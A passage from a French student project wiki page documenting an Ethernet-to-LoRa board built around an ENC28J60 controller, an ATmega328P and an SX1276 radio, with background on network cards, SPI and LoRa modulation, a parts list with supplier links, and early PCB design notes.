La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. La puce enc28j60 est Microship présente le premier controleur Ethernet 10BASE-T(10Mbits/s) reference ENC28J60 se laissant facilement piloter via un bus SPI(Serial Programming Interface) par un microcontroleur et ne comportant que 28 broches pour un boitier au format DIL.&lt;br /&gt;
Ce contrôleur Ethernet dispose d'un module MAC et PHY intégrés et de 8ko de mémoire tampon permettant de minimiser la complexité de la mise en oeuvre et le coût. Les applications visées sont : la VoIP, l'automation industrielle, l'automation de bâtiment, l'instrumentation, la sécurité et la domotique.&lt;br /&gt;
Jusqu'à lors, on ne trouvait sur le marché que des contrôleurs Ethernet tels que le RTL8019AS de Realtek. Ce circuit n'existait qu'au format CMS (boitier PQFP) composé d'une centaine de broches dont le tiers étaient destinées au bus de communication parallèle (adresses et données). Bref, sa mise en oeuvre était pour le moins ardue que ce soit sur le plan du routage du circuit imprimé que pour la soudure du composant.&lt;br /&gt;
Ainsi, grâce à son faible nombre de broches faciles à souder, le ENC28J60 permet une intégration sensiblement facilité dans votre réseau domestique en lui couplant un microcontrôleur afin de piloter les fonctionnalités Ethernet. Disponible en boitier DIL (DIP), il reste la solution la moins chère pour la mise en oeuvre d'un projet connecté au réseau Ethernet.&lt;br /&gt;
Il y a 7 sections de fonctionnalités pour ENC28J60. &lt;br /&gt;
*1). Un Interface SPI : un canal de communication entre le contrôleur hôte et l’ENC28J60.&lt;br /&gt;
*2). Les registres de control : contrôle et surveille l’ENC28J60.&lt;br /&gt;
*3). Un buffer RAM avec doubles ports : reçoit et transmet des paquets de données.&lt;br /&gt;
*4). Un arbitre : contrôle l’accès du buffer RAM quand des demandes sont faites de DMA, transmet et reçoit des blocs.&lt;br /&gt;
*5). Un interface bus : interprète des données et des commandes reçues via l’interface SPI.&lt;br /&gt;
*6). Un module MAC(Medium Access Control) : implémente IEEE 802.3 qui conforme MAC logique.&lt;br /&gt;
*7). Un module PHY (Physical Layer) : code et décode des données analogiques qui sont présentées sur l’interface à paire torsadée.&lt;br /&gt;
Le dispositif contient aussi d’autres blocs de supports, tel que l’oscillator, régulateur de tension et la logique de commande du système.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:ether.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
